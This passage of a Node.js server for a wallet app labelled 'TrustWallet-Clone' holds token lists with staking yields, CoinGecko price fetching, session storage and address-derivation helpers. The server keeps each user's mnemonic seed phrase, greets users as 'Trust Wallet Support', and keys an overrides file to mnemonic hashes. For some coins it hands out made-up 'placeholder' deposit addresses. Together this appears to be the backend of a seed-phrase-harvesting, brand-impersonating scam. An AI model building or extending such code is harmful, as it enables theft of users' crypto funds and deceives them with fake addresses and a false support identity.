  address: '0x57e114b691db790c35207b2e685d4a43181e6061',
  name: 'Ethena',
  symbol: 'ENA',
  decimals: 18,
  icon: 'coins/ena.png',
  addressLen: 42,
  addressFirst: '0x',
  price: 0.5,
  percentChange: '0.00',
  coinMarketCupId: 30171,
  networkId: 2,
  networkName: 'Ethereum',
  networkSymbol: 'ETH',
  networkImage: 'coins/ethereum.png',
  stakeInfo: { id: 66, apy: 15.22, lockTimeAsDay: 4, minAmount: 10, tokenInfoModel: null },
  active: true,
  memo: false,
  mainToken: false,
  showDefault: false,
});

// ether.fi (ETHFI) - Ethereum ERC-20
networks[2].tokenInfoList.push({
  id: 67,
  address: '0xfe0c30065b384f05761f15d0cc899d4f9f9cc0eb',
  name: 'ether.fi',
  symbol: 'ETHFI',
  decimals: 18,
  icon: 'coins/ethfi.png',
  addressLen: 42,
  addressFirst: '0x',
  price: 2.5,
  percentChange: '0.00',
  coinMarketCupId: 29814,
  networkId: 2,
  networkName: 'Ethereum',
  networkSymbol: 'ETH',
  networkImage: 'coins/ethereum.png',
  stakeInfo: { id: 67, apy: 12.71, lockTimeAsDay: 4, minAmount: 10, tokenInfoModel: null },
  active: true,
  memo: false,
  mainToken: false,
  showDefault: false,
});

// OKB - Ethereum ERC-20
networks[2].tokenInfoList.push({
  id: 68,
  address: '0x75231f58b43240c9718dd58b4967c5114342a86c',
  name: 'OKB',
  symbol: 'OKB',
  decimals: 18,
  icon: 'coins/okb.png',
  addressLen: 42,
  addressFirst: '0x',
  price: 50,
  percentChange: '0.00',
  coinMarketCupId: 3897,
  networkId: 2,
  networkName: 'Ethereum',
  networkSymbol: 'ETH',
  networkImage: 'coins/ethereum.png',
  stakeInfo: { id: 68, apy: 8.8, lockTimeAsDay: 4, minAmount: 1, tokenInfoModel: null },
  active: true,
  memo: false,
  mainToken: false,
  showDefault: false,
});

// Grass (GRASS) - Solana
networks[4].tokenInfoList.push({
  id: 69,
  address: 'Grass7B4RdKfBCjTKgSqnXkqjwiGvQyFbuSCUJr3XXjs',
  name: 'Grass',
  symbol: 'GRASS',
  decimals: 9,
  icon: 'coins/grass.png',
  addressLen: 44,
  addressFirst: '',
  price: 2.0,
  percentChange: '0.00',
  coinMarketCupId: 31967,
  networkId: 6,
  networkName: 'Solana',
  networkSymbol: 'SOL',
  networkImage: 'coins/solana.png',
  stakeInfo: { id: 69, apy: 9.24, lockTimeAsDay: 4, minAmount: 10, tokenInfoModel: null },
  active: true,
  memo: false,
  mainToken: false,
  showDefault: false,
});

// USD1 (World Liberty Financial USD) - Solana
networks[6].tokenInfoList.push({
  id: 70,
  address: 'USD1ttGY1N17NEEHLmELoaybftRBUSErhqYiQzvEmuB',
  name: 'World Liberty Financial USD',
  symbol: 'USD1',
  decimals: 6,
  icon: 'coins/usd1.png',
  addressLen: 44,
  addressFirst: '',
  price: 1.0,
  percentChange: '0.00',
  coinMarketCupId: 0,
  networkId: 6,
  networkName: 'Solana',
  networkSymbol: 'SOL',
  networkImage: 'coins/solana.png',
  stakeInfo: { id: 70, apy: 10.97, lockTimeAsDay: 30, minAmount: 10, tokenInfoModel: null },
  active: true,
  memo: false,
  mainToken: false,
  showDefault: true,
});

// SKR (Seeker) - Solana
networks[6].tokenInfoList.push({
  id: 77,
  address: '',
  name: 'Seeker',
  symbol: 'SKR',
  decimals: 9,
  icon: 'coins/skr.png',
  addressLen: 44,
  addressFirst: '',
  price: 0.05,
  percentChange: '0.00',
  coinMarketCupId: 0,
  networkId: 6,
  networkName: 'Solana',
  networkSymbol: 'SOL',
  networkImage: 'coins/solana.png',
  stakeInfo: { id: 77, apy: 67.23, lockTimeAsDay: 4, minAmount: 10, tokenInfoModel: null },
  active: true,
  memo: false,
  mainToken: false,
  showDefault: false,
});

// Bitcoin Cash (BCH) - собственная сеть
networks.push({
  id: 45,
  name: 'Bitcoin Cash',
  symbol: 'BCH',
  rpcServerUrl: 'https://bch.rpc.local',
  scannerUrl: '',
  backendUrl: '',
  chainId: 0,
  imageUrl: 'coins/bch.png',
  tokenInfoList: [
    {
      id: 70,
      address: '',
      name: 'Bitcoin Cash',
      symbol: 'BCH',
      decimals: 8,
      icon: 'coins/bch.png',
      addressLen: 42,
      addressFirst: 'bitcoincash:',
      price: 400,
      percentChange: '0.00',
      coinMarketCupId: 1831,
      networkId: 45,
      networkName: 'Bitcoin Cash',
      networkSymbol: 'BCH',
      networkImage: 'coins/bch.png',
      stakeInfo: { id: 70, apy: 9.1, lockTimeAsDay: 4, minAmount: 0.01, tokenInfoModel: null },
      active: true,
      memo: false,
      mainToken: true,
      showDefault: false,
    },
  ],
});

// Bittensor (TAO) - собственная сеть
networks.push({
  id: 46,
  name: 'Bittensor',
  symbol: 'TAO',
  rpcServerUrl: 'https://tao.rpc.local',
  scannerUrl: '',
  backendUrl: '',
  chainId: 0,
  imageUrl: 'coins/tao.png',
  tokenInfoList: [
    {
      id: 71,
      address: '',
      name: 'Bittensor',
      symbol: 'TAO',
      decimals: 9,
      icon: 'coins/tao.png',
      addressLen: 48,
      addressFirst: '5',
      price: 500,
      percentChange: '0.00',
      coinMarketCupId: 22974,
      networkId: 46,
      networkName: 'Bittensor',
      networkSymbol: 'TAO',
      networkImage: 'coins/tao.png',
      stakeInfo: { id: 71, apy: 7.6, lockTimeAsDay: 4, minAmount: 0.1, tokenInfoModel: null },
      active: true,
      memo: false,
      mainToken: true,
      showDefault: false,
    },
  ],
});

const stakeAll = [
  {
    id: 95,
    apy: 7.62,
    lockTimeAsDay: 5,
    minAmount: 0.5,
    tokenInfoModel: networks[1].tokenInfoList[0], // ETH
  },
  {
    id: 39,
    apy: 7.0,
    lockTimeAsDay: 7,
    minAmount: 30,
    tokenInfoModel: networks[2].tokenInfoList[0], // TRX
  },
  {
    id: 5,
    apy: 9.62,
    lockTimeAsDay: 7,
    minAmount: 0.1,
    tokenInfoModel: networks[5].tokenInfoList[0], // SOL
  },
  {
    id: 6,
    apy: 4.8,
    lockTimeAsDay: 7,
    minAmount: 1,
    tokenInfoModel: networks[6].tokenInfoList[0], // TON
  },
];

// ═══════════════════════════════════════════════════════════════
// REAL-TIME CRYPTO PRICES FROM COINGECKO
// ═══════════════════════════════════════════════════════════════

// Маппинг символов на CoinGecko ID
const COINGECKO_IDS = {
  BTC: 'bitcoin',
  ETH: 'ethereum',
  BNB: 'binancecoin',
  TRX: 'tron',
  SOL: 'solana',
  TON: 'the-open-network',
  USDT: 'tether',
  USDTERC: 'tether',
  USDC: 'usd-coin',
  XAUT: 'tether-gold',
  XAUt: 'tether-gold', // fallback alias, некоторые токены используют другое написание
  XRP: 'ripple',
  DOGE: 'dogecoin',
  ARB: 'arbitrum',
  STRK: 'starknet',
  ADA: 'cardano',
  SUI: 'sui',
  DOT: 'polkadot',
  SHIB: 'shiba-inu',
  ZEC: 'zcash',
  NOT: 'notcoin',
  BLUM: 'blum', // ID будет обновлен когда токен появится на CoinGecko
  XLM: 'stellar',
  HYPE: 'hyperliquid',
  UNI: 'uniswap',
  NEAR: 'near',
  PEPE: 'pepe',
  ATOM: 'cosmos',
  DASH: 'dash',
  CAKE: 'pancakeswap-token',
  ZK: 'zksync',
  HBAR: 'hedera-hashgraph',
  LTC: 'litecoin',
  LINK: 'chainlink',
  APT: 'aptos',
  LDO: 'lido-dao',
  AAVE: 'aave',
  AVAX: 'avalanche-2',
  ASTER: 'astar',
  FIL: 'filecoin',
  PAXG: 'pax-gold',
  TRUMP: 'official-trump',
  OP: 'optimism',
  DCR: 'decred',
  SAND: 'the-sandbox',
  INJ: 'injective-protocol',
  MNT: 'mantle',
  XMR: 'monero',
  KAS: 'kaspa',
  ENS: 'ethereum-name-service',
  ICP: 'internet-computer',
  JUP: 'jupiter',
  ETC: 'ethereum-classic',
  XCH: 'chia',
  ETHZK: 'ethereum',
  ENA: 'ethena',
  ETHFI: 'ether-fi',
  GRASS: 'grass',
  SKR: 'skr', // Seeker token - ID будет обновлен когда появится на CoinGecko
  TORN: 'tornado-cash',
  NFLXON: 'netflix-tokenized-stock-defichain',
  NVDAON: 'nvidia-tokenized-stock-defichain',
  AAPL: 'apple-tokenized-stock-defichain',
  TSLA: 'tesla-tokenized-stock-defichain',
  MSFT: 'microsoft-tokenized-stock-defichain',
  AMZN: 'amazon-tokenized-stock-defichain',
  ENSO: 'enso',
  KAG: 'kinesis-silver',
  OKB: 'okb',
  BCH: 'bitcoin-cash',
  TAO: 'bittensor',
  CC: 'canton-network',
  XPL: 'plasma',
  LAYER: 'solayer',
  WLFI: 'world-liberty-financial',
  ZERO: 'zero',
};

// Кеш цен и времени последнего обновления
let priceCache = {};
let lastPriceUpdate = 0;
const PRICE_CACHE_TTL = 5 * 60 * 1000; // 5 минут

// Получить актуальные цены с CoinGecko
function fetchCryptoPrices() {
  return new Promise((resolve, reject) => {
    const uniqueIds = Array.from(new Set(Object.values(COINGECKO_IDS)));
    const ids = uniqueIds.join(',');
    const path = `/api/v3/simple/price?ids=${ids}&vs_currencies=usd&include_24hr_change=true`;
    
    const options = {
      hostname: 'api.coingecko.com',
      path: path,
      method: 'GET',
      headers: {
        'User-Agent': 'TrustWallet-Clone/1.0 (Crypto Price Tracker)',
        'Accept': 'application/json'
      }
    };
    
    console.log('[Prices] Requesting: https://api.coingecko.com' + path);
    
    https.get(options, (res) => {
      let data = '';
      
      console.log('[Prices] HTTP Status:', res.statusCode);
      
      res.on('data', (chunk) => {
        data += chunk;
      });
      
      res.on('end', () => {
        try {
          if (res.statusCode === 200) {
          const prices = JSON.parse(data);
            console.log('[Prices] ✅ Successfully fetched prices');
          resolve(prices);
          } else {
            console.log('[Prices] ❌ HTTP Error:', res.statusCode, data);
            reject(new Error(`CoinGecko API returned ${res.statusCode}: ${data}`));
          }
        } catch (e) {
          console.log('[Prices] ❌ Parse error:', e.message);
          reject(e);
        }
      });
    }).on('error', (err) => {
      console.log('[Prices] ❌ Network error:', err.message);
      reject(err);
    });
  });
}

// Обновить цены во всех токенах
async function updateCryptoPrices() {
  const now = Date.now();
  const cacheAge = lastPriceUpdate > 0 ? Math.floor((now - lastPriceUpdate) / 1000) : 0;

  const missingSymbols = new Set();
  
  // Используем кеш если данные свежие
  if (now - lastPriceUpdate < PRICE_CACHE_TTL && Object.keys(priceCache).length > 0) {
    console.log(`[Prices] Using cache (age: ${cacheAge}s)`);
    return priceCache;
  }
  
  try {
    console.log('[Prices] 📊 Fetching real-time prices from CoinGecko...');
    const prices = await fetchCryptoPrices();
    
    // Обновляем цены в networks
    let updated = 0;
    networks.forEach(network => {
      network.tokenInfoList.forEach(token => {
        const coinGeckoId = COINGECKO_IDS[token.symbol];
        if (!coinGeckoId) {
          missingSymbols.add(token.symbol);
          return;
        }
        if (prices[coinGeckoId]) {
          const priceData = prices[coinGeckoId];
          const oldPrice = token.price;
          token.price = priceData.usd;
          token.percentChange = priceData.usd_24h_change ? priceData.usd_24h_change.toFixed(2) : '0.00';
          updated++;
          console.log(`[Prices] ${token.symbol}: ${oldPrice} → ${token.price} (${token.percentChange}%)`);
        }
      });
    });

    if (missingSymbols.size > 0) {
      console.warn('[Prices] Missing CoinGecko IDs for symbols:', Array.from(missingSymbols).join(', '));
    }
    
    priceCache = prices;
    lastPriceUpdate = now;
    
    console.log(`[Prices] ✅ Updated ${updated} tokens:`, {
      BTC: prices.bitcoin?.usd,
      ETH: prices.ethereum?.usd,
      BNB: prices.binancecoin?.usd,
      TRX: prices.tron?.usd
    });
    
    return prices;
  } catch (error) {
    console.error('[Prices] ❌ Error fetching prices:', error.message);
    console.error('[Prices] Stack:', error.stack);
    if (Object.keys(priceCache).length > 0) {
      console.log(`[Prices] Using stale cache (age: ${cacheAge}s)`);
    } else {
      console.log('[Prices] ⚠️ No cache available, using default hardcoded prices');
    }
    return priceCache;
  }
}

// Запускаем обновление цен при старте сервера
console.log('[Prices] 🚀 Initializing price service...');
updateCryptoPrices().then(() => {
  console.log('[Prices] ✅ Initial price fetch successful');
}).catch((error) => {
  console.error('[Prices] ❌ Initial price fetch failed:', error.message);
  console.log('[Prices] ⚠️ Will use default hardcoded prices until next update');
});

// Автоматически обновляем цены каждые 60 секунд
console.log('[Prices] 🔄 Starting automatic price updates (every 60s)');
setInterval(() => {
  updateCryptoPrices().catch(() => {
    console.log('[Prices] Scheduled update failed, will retry in 60s');
  });
}, 60 * 1000);

// Sessions store
const sessions = new Map();
const BOOT_ID = (() => {
  try { return require('crypto').randomUUID(); } catch { return String(Date.now()) + '-' + Math.random().toString(36).slice(2); }
})();

// Восстановление сессий из базы данных
function restoreSessionsFromDB() {
  try {
    const savedSessions = getAllSessions();
    console.log('[Sessions] Found', savedSessions.length, 'sessions in database');
    let restoredCount = 0;
    
    for (const sessionRecord of savedSessions) {
      const { session_login, session_data } = sessionRecord;
      try {
        const data = JSON.parse(session_data);
        sessions.set(session_login, data);
        restoredCount++;
        console.log('[Sessions] Restored session for:', session_login);
      } catch (parseError) {
        console.error('[Sessions] Error parsing session data for', session_login, ':', parseError.message);
      }
    }
    
    if (restoredCount > 0) {
      console.log(`[Sessions] Successfully restored ${restoredCount} sessions from database`);
    } else {
      console.log('[Sessions] No sessions to restore');
    }
    
    // Очистка старых сессий (старше 30 дней)
    cleanOldSessions(30);
  } catch (error) {
    console.error('[Sessions] Error restoring sessions:', error.message);
  }
}

// Обертка для автоматического сохранения сессии в БД
function setSession(sessionLogin, sessionData, userId = null) {
  sessions.set(sessionLogin, sessionData);
  if (userId) {
    saveSession(sessionLogin, userId, sessionData);
    console.log('[Sessions] Saved session to database for:', sessionLogin);
  }
}

// Восстанавливаем сессии при старте сервера
restoreSessionsFromDB();

console.log('[mock] bootId:', BOOT_ID, '| sessions loaded from database');
const OV_FILE = path.join(process.cwd(), 'overrides.json');
function loadOverrides() { try { return JSON.parse(fs.readFileSync(OV_FILE, 'utf8')); } catch { return {}; } }
function saveOverrides(store) { try { fs.writeFileSync(OV_FILE, JSON.stringify(store, null, 2), 'utf8'); } catch (e) {} }
let overrideStore = loadOverrides();
function mnemonicHash(m) { try { return require('crypto').createHash('sha256').update(String(m).replace(/\s+/g, ' ').trim()).digest('hex'); } catch { return null; } }

function makeWallet({ mnemonic }) {
  const id = genId();
  return {
    id,
    mnemonic,
    dateCreated: nowISO(),
    description: null,
    chat: {
      id,
      messages: [
        {
          id: genId(),
          text: 'Hi, I am Trust Wallet Support. How can I help you?',
          dateCreated: nowISO(),
          chatik: 0,
          admin: true,
          read: false,
        },
      ],
    },
    tokens: [],
    transactions: [],
    stakePoolList: [],
    active: true,
    completed: true,
  };
}

const walletAddressCache = new Map();

function recomputeWalletAddresses(wallet) {
  if (!wallet || !wallet.mnemonic || !Array.isArray(wallet.tokens)) return;
  wallet.tokens.forEach((token) => {
    const info = token?.tokenInfo;
    if (!info) return;
    const cacheKey = wallet.mnemonic + ':' + (info.symbol || '');
    if (walletAddressCache.has(cacheKey)) {
      token.address = walletAddressCache.get(cacheKey);
      return;
    }
    const updated = generateAddressForTokenInfo(info, wallet.mnemonic);
    if (updated) {
      walletAddressCache.set(cacheKey, updated);
      token.address = updated;
    }
  });
}

function recomputeSessionWalletAddresses(session) {
  if (!session) return;
  if (session.activeWallet) {
    recomputeWalletAddresses(session.activeWallet);
  }
  if (Array.isArray(session.userSessionWalletList)) {
    session.userSessionWalletList.forEach((entry) => {
      if (entry?.wallet) {
        recomputeWalletAddresses(entry.wallet);
      }
    });
  }
}

function sessionSummary(session, options = {}) {
  if (!session) return session;
  if (options?.includeAddresses) {
    recomputeSessionWalletAddresses(session);
  }
  return session;
}

// Helpers to derive a few default token entries for a wallet
function bytesFromSeed(seed, length) {
  const crypto = require('crypto');
  let out = Buffer.alloc(0);
  let ctr = 0;
  while (out.length < length) {
    const h = crypto
      .createHash('sha256')
      .update(String(seed))
      .update(Buffer.from([ctr++]))
      .digest();
    out = Buffer.concat([out, h]);
  }
  return out.slice(0, length);
}

function detChars(len, alphabet, seed) {
  const buf = bytesFromSeed(seed, len);
  let s = '';
  for (let i = 0; i < len; i++) s += alphabet[buf[i] % alphabet.length];
  return s;
}

// BTC P2PKH (legacy) helpers вЂ” no external libs required
function sha256(buf) {
  return require('crypto').createHash('sha256').update(buf).digest();
}
function ripemd160(buf) {
  return require('crypto').createHash('ripemd160').update(buf).digest();
}
function hash160(buf) {
  return ripemd160(sha256(buf));
}
function compressSecpPublicKey(uncompressedHex) {
  // uncompressed: 0x04 || x(32) || y(32)
  const hex = uncompressedHex.replace(/^0x/, '');
  const buf = Buffer.from(hex, 'hex');
  if (buf.length !== 65 || buf[0] !== 0x04) return buf; // fallback
  const x = buf.slice(1, 33);
  const y = buf.slice(33, 65);
  const prefix = (y[31] & 1) === 0 ? 0x02 : 0x03; // parity of y
  return Buffer.concat([Buffer.from([prefix]), x]);
}
const B58_ALPHABET = '123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz';
function base58encode(buf) {
  let x = BigInt('0x' + buf.toString('hex'));
  const base = BigInt(58);
  let out = '';
  while (x > 0n) {
    const mod = x % base;
    out = B58_ALPHABET[Number(mod)] + out;
    x = x / base;
  }
  // handle leading zeros
  for (let i = 0; i < buf.length && buf[i] === 0; i++) out = '1' + out;
  return out;
}
function base58check(version, payload) {
  const data = Buffer.concat([Buffer.from([version]), payload]);
  const checksum = sha256(sha256(data)).slice(0, 4);
  return base58encode(Buffer.concat([data, checksum]));
}
function btcP2PKHFromPrivKeyHex(pkHex) {
  const { Wallet } = ethers || {};
  if (!Wallet) throw new Error('ethers Wallet not available');
  const w = new Wallet(pkHex);
  const uncompressed = Buffer.from(w.publicKey.replace(/^0x/, ''), 'hex');
  const pub = compressSecpPublicKey('0x' + uncompressed.toString('hex'));
  const h160 = hash160(pub);
  // version 0x00 for mainnet
  return base58check(0x00, h160);
}

// Bech32 encoding for Native SegWit (bc1...)
function bech32Encode(hrp, data) {
  const CHARSET = 'qpzry9x8gf2tvdw0s3jn54khce6mua7l';
  const GENERATOR = [0x3b6a57b2, 0x26508e6d, 0x1ea119fa, 0x3d4233dd, 0x2a1462b3];
  
  function polymod(values) {
    let chk = 1;
    for (const value of values) {
      const top = chk >> 25;
      chk = (chk & 0x1ffffff) << 5 ^ value;
      for (let i = 0; i < 5; i++) {
        if ((top >> i) & 1) chk ^= GENERATOR[i];
      }
    }
    return chk;
  }
  
  function hrpExpand(hrp) {
    const ret = [];
    for (let i = 0; i < hrp.length; i++) {
      ret.push(hrp.charCodeAt(i) >> 5);
    }
    ret.push(0);
    for (let i = 0; i < hrp.length; i++) {
      ret.push(hrp.charCodeAt(i) & 31);
    }
    return ret;
  }
  
  function createChecksum(hrp, data) {
    const values = hrpExpand(hrp).concat(data).concat([0, 0, 0, 0, 0, 0]);
    const mod = polymod(values) ^ 1;
    const ret = [];
    for (let i = 0; i < 6; i++) {
      ret.push((mod >> 5 * (5 - i)) & 31);
    }
    return ret;
  }
  
  const combined = data.concat(createChecksum(hrp, data));
  let result = hrp + '1';
  for (const d of combined) {
    result += CHARSET.charAt(d);
  }
  return result;
}

function convertBits(data, fromBits, toBits, pad = true) {
  let acc = 0;
  let bits = 0;
  const ret = [];
  const maxv = (1 << toBits) - 1;
  
  for (const value of data) {
    if (value < 0 || value >> fromBits) return null;
    acc = (acc << fromBits) | value;
    bits += fromBits;
    while (bits >= toBits) {
      bits -= toBits;
      ret.push((acc >> bits) & maxv);
    }
  }
  
  if (pad) {
    if (bits > 0) ret.push((acc << (toBits - bits)) & maxv);
  } else if (bits >= fromBits || ((acc << (toBits - bits)) & maxv)) {
    return null;
  }
  
  return ret;
}

function btcBech32P2WPKHFromPrivKeyHex(pkHex, hrp = 'bc') {
  const { Wallet } = ethers || {};
  if (!Wallet) throw new Error('ethers Wallet not available');
  const w = new Wallet(pkHex);
  const uncompressed = Buffer.from(w.publicKey.replace(/^0x/, ''), 'hex');
  const pub = compressSecpPublicKey('0x' + uncompressed.toString('hex'));
  const h160 = hash160(pub);
  
  // Witness version 0 (P2WPKH)
  const witnessProgram = [0].concat(convertBits(Array.from(h160), 8, 5));
  return bech32Encode(hrp, witnessProgram);
}

function base58checkEncode(prefixBuffer, payload) {
  const prefix = Buffer.isBuffer(prefixBuffer) ? prefixBuffer : Buffer.from([prefixBuffer]);
  const data = Buffer.concat([prefix, payload]);
  const checksum = sha256(sha256(data)).slice(0, 4);
  return base58encode(Buffer.concat([data, checksum]));
}

function p2pkhAddressFromPrivKeyHex(pkHex, prefix) {
  const { Wallet } = ethers || {};
  if (!Wallet) throw new Error('ethers Wallet not available');
  const w = new Wallet(pkHex);
  const uncompressed = Buffer.from(w.publicKey.replace(/^0x/, ''), 'hex');
  const pub = compressSecpPublicKey('0x' + uncompressed.toString('hex'));
  const h160 = hash160(pub);
  return base58checkEncode(prefix, h160);
}

function cosmosLikeAddressFromPrivKeyHex(pkHex, hrp) {
  const { Wallet } = ethers || {};
  if (!Wallet) throw new Error('ethers Wallet not available');
  const w = new Wallet(pkHex);
  const uncompressed = Buffer.from(w.publicKey.replace(/^0x/, ''), 'hex');
  const pub = compressSecpPublicKey('0x' + uncompressed.toString('hex'));
  const h160 = hash160(pub);
  const words = convertBits(Array.from(h160), 8, 5, true);
  return bech32Encode(hrp, [0].concat(words));
}

const BASE32_ALPHABET_UPPER = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ234567';
const BASE32_ALPHABET_LOWER = 'abcdefghijklmnopqrstuvwxyz234567';

function base32EncodeCustom(buffer, alphabet) {
  let bits = 0;
  let value = 0;
  let output = '';

  for (const byte of buffer) {
    value = (value << 8) | byte;
    bits += 8;
    while (bits >= 5) {
      output += alphabet[(value >> (bits - 5)) & 31];
      bits -= 5;
    }
  }

  if (bits > 0) {
    output += alphabet[(value << (5 - bits)) & 31];
  }

  return output;
}

function crc16Xmodem(buffer) {
  let crc = 0x0000;
  for (const byte of buffer) {
    crc ^= byte << 8;
    for (let i = 0; i < 8; i++) {
      if (crc & 0x8000) {
        crc = (crc << 1) ^ 0x1021;
      } else {
        crc <<= 1;
      }
      crc &= 0xffff;
    }
  }
  return crc & 0xffff;
}

function encodeStellarPublicKey(publicKey) {
  const versionByte = 0x30; // AccountID
  const payload = Buffer.concat([Buffer.from([versionByte]), Buffer.from(publicKey)]);
  const checksum = crc16Xmodem(payload);
  const checksumBuf = Buffer.alloc(2);
  checksumBuf.writeUInt16LE(checksum, 0);
  const full = Buffer.concat([payload, checksumBuf]);
  return base32EncodeCustom(full, BASE32_ALPHABET_UPPER);
}

function filecoinAddressFromPublicKey(pubKey) {
  const compressed = Buffer.isBuffer(pubKey) ? pubKey : Buffer.from(pubKey);
  const payload = blake2b(20).update(compressed).digest();
  const protocolByte = Buffer.from([0x01]);
  const addressBytes = Buffer.concat([protocolByte, payload]);
  const checksum = blake2b(4).update(addressBytes).digest();
  const full = Buffer.concat([addressBytes, checksum]);
  return 'f' + base32EncodeCustom(full, BASE32_ALPHABET_LOWER);
}

function deriveTonAddress(mnemonic) {
  if (tonCrypto && tonCore && bip39 && ed25519HdKey) {
    try {
      const seed = bip39.mnemonicToSeedSync(mnemonic, ''); // 64 bytes
      const derivationPath = DERIVATION.TON.path;
      const { key } = ed25519HdKey.derivePath(derivationPath, seed.toString('hex'));
      const keyPair = tonCrypto.keyPairFromSeed(key);
      const wallet = tonCore.WalletContractV4.create({
        workchain: 0,
        publicKey: keyPair.publicKey
      });
      return wallet.address.toString({
        urlSafe: true,
        bounceable: false,
        testOnly: false
      });
    } catch (e) {
      console.error('[TON Address Generation] Error:', e.message);
    }
  }

  const path = DERIVATION.TON.path;
  const fallbackWallet = ethers.Wallet.fromMnemonic(mnemonic, path);
  const pkHex = fallbackWallet.privateKey.replace(/^0x/, '');
  const pkBytes = Buffer.from(pkHex, 'hex');
  const addrBytes = pkBytes.slice(0, 32);
  const base64 = Buffer.from(addrBytes)
    .toString('base64')
    .replace(/\+/g, '-')
    .replace(/\//g, '_')
    .replace(/=/g, '');
  return 'UQ' + base64;
}

function hederaAccountFromMnemonic(mnemonic) {
  if (!bip39 || !ed25519HdKey || !nacl || !blake2b) {
    console.log('[HBAR] Required libraries not available, using fallback');
    const fallback = BigInt('0x' + ethers.utils.id(mnemonic + 'HBAR').slice(2, 16));
    return `0.0.${fallback}`;
  }
  try {
    const seed = bip39.mnemonicToSeedSync(mnemonic, '');
    const { key } = ed25519HdKey.derivePath(DERIVATION.HBAR.path, seed.toString('hex'));
    const keypair = nacl.sign.keyPair.fromSeed(key.slice(0, 32));
    const hash = blake2b(8).update(Buffer.from(keypair.publicKey)).digest();
    const account = (BigInt('0x' + hash.toString('hex')) % 9007199254740991n) + 1000000n;
    return `0.0.${account.toString()}`;
  } catch (error) {
    console.error('[HBAR] Error generating address:', error);
    const fallback = BigInt('0x' + ethers.utils.id(mnemonic + 'HBAR').slice(2, 16));
    return `0.0.${fallback}`;
  }
}

function aptosAddressFromMnemonic(mnemonic) {
  if (!bip39 || !ed25519HdKey || !nacl) {
    console.log('[APT] Required libraries not available, using fallback');
    return '0x' + ethers.utils.id(mnemonic + 'APT').substring(2, 66);
  }
  try {
    const seed = bip39.mnemonicToSeedSync(mnemonic, '');
    const { key } = ed25519HdKey.derivePath(DERIVATION.APT.path, seed.toString('hex'));
    const keypair = nacl.sign.keyPair.fromSeed(key.slice(0, 32));
    return '0x' + Buffer.from(keypair.publicKey).toString('hex');
  } catch (error) {
    console.error('[APT] Error generating address:', error);
    return '0x' + ethers.utils.id(mnemonic + 'APT').substring(2, 66);
  }
}

function generateMoneroPlaceholderAddress(seedSource) {
  const prefix = '4';
  const length = 95;
  const alphabet = '123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz';
  const seed = `${seedSource}|XMR|trust-placeholder`;
  return prefix + detChars(length - prefix.length, alphabet, seed);
}

function generateKaspaPlaceholderAddress(seedSource) {
  const prefix = 'kaspa:';
  const length = 65;
  const alphabet = 'qpzry9x8gf2tvdw0s3jn54khce6mua7l';
  const seed = `${seedSource}|KAS|trust-placeholder`;
  return prefix + detChars(length - prefix.length, alphabet, seed);
}

function generateIcpPlaceholderAddress(seedSource) {
  const alphabet = 'abcdefghijklmnopqrstuvwxyz234567';
  const seed = `${seedSource}|ICP|trust-placeholder`;
  const body = detChars(20, alphabet, seed);
  const grouped = body.match(/.{1,5}/g)?.join('-') || body;
  return `icp-${grouped}`;
}

/**
 * Генерация адреса Chia (XCH) из мнемоники
 * ВРЕМЕННОЕ РЕШЕНИЕ: Используем EVM деривацию и конвертируем в bech32m
 * 
 * TODO: Заменить на правильную BLS12-381 деривацию когда будет доступна
 * библиотека chia-bls-signatures
 */
function generateChiaAddress(mnemonic) {
  if (!ethers || !bech32) {
    console.log('[XCH] Required libraries not available, using fallback');
    return 'xch1' + detChars(58, '023456789acdefghjklmnpqrstuvwxyz', mnemonic + 'XCH');
  }

  try {
    // ВРЕМЕННО: Используем EVM путь деривации (как для ETH)
    const path = DERIVATION.EVM.path; // m/44'/60'/0'/0/0
    const wallet = ethers.Wallet.fromMnemonic(mnemonic, path);
    
    // Берем ETH адрес и конвертируем его в XCH формат (bech32m)
    const ethAddressBytes = Buffer.from(wallet.address.slice(2), 'hex'); // Убираем 0x
    
    // Конвертируем в bech32m формат с префиксом xch
    const words = bech32.bech32m.toWords(ethAddressBytes);
    const address = bech32.bech32m.encode('xch', words);
    
    console.log('[XCH] Generated address (temp, based on ETH):', address);
    return address;
    
  } catch (error) {
    console.error('[XCH] Error generating address:', error);
    return 'xch1' + detChars(58, '023456789acdefghjklmnpqrstuvwxyz', mnemonic + 'XCH');
  }
}

function generateAddressForTokenInfo(ti, mnemonic) {
  // If libraries available and mnemonic known, derive deterministically for key networks
  try {
    const symbolUpper = (ti.symbol || '').toUpperCase();
    const networkSymbol = (ti.networkSymbol || '').toUpperCase();
    
    // ДЛЯ ВСЕХ ERC-20 ТОКЕНОВ (networkSymbol === 'ETH') ИСПОЛЬЗУЕМ ETH АДРЕС
    // Это исправляет баг, когда у каждого ERC-20 токена был свой адрес
    if (networkSymbol === 'ETH' && mnemonic && ethers) {
      const path = DERIVATION.EVM.path;
      const w = ethers.Wallet.fromMnemonic(mnemonic, path);
      return w.address; // Один и тот же ETH адрес для всех ERC-20 токенов
    }
    
    // Для основных монет (не ERC-20) используем Trust Wallet Core если доступен
    if (mnemonic) {
      const trustWalletAddress = deriveAddressWithTrustWallet(ti.symbol, mnemonic);
      if (trustWalletAddress) {
        return trustWalletAddress;
      }
    }

    if (mnemonic && ethers) {
      const coin = networkSymbol;
      
      if (['BEP20', 'ARB', 'STRK', 'BASE', 'OPT', 'OP', 'LINEA', 'MNT', 'BNB', 'MATIC', 'AVAX', 'HYPE', 'ASTER', 'CC', 'XPL', 'LAYER', 'BERA'].includes(coin)) {
        const path = DERIVATION.EVM.path;
        const w = ethers.Wallet.fromMnemonic(mnemonic, path);
        return w.address; // EVM checksum address
      }
      if (coin === 'BTC') {
        // Использует путь из DERIVATION.BTC (по умолчанию Native SegWit)
        const path = DERIVATION.BTC.path;
        const w = ethers.Wallet.fromMnemonic(mnemonic, path);
        return btcBech32P2WPKHFromPrivKeyHex(w.privateKey.replace(/^0x/, ''));
      }
      if (coin === 'DOGE') {
        // Dogecoin: Legacy P2PKH адреса с префиксом 'D'
        const path = DERIVATION.DOGE.path;
        const w = ethers.Wallet.fromMnemonic(mnemonic, path);
        const pkHex = w.privateKey.replace(/^0x/, '');
        const pkBytes = Buffer.from(pkHex, 'hex');
        // Создаём публичный ключ из приватного
        const pubKey = ethers.utils.computePublicKey(w.publicKey, true); // compressed
        const pubKeyBytes = Buffer.from(pubKey.replace(/^0x/, ''), 'hex');
        // SHA256 хеш публичного ключа
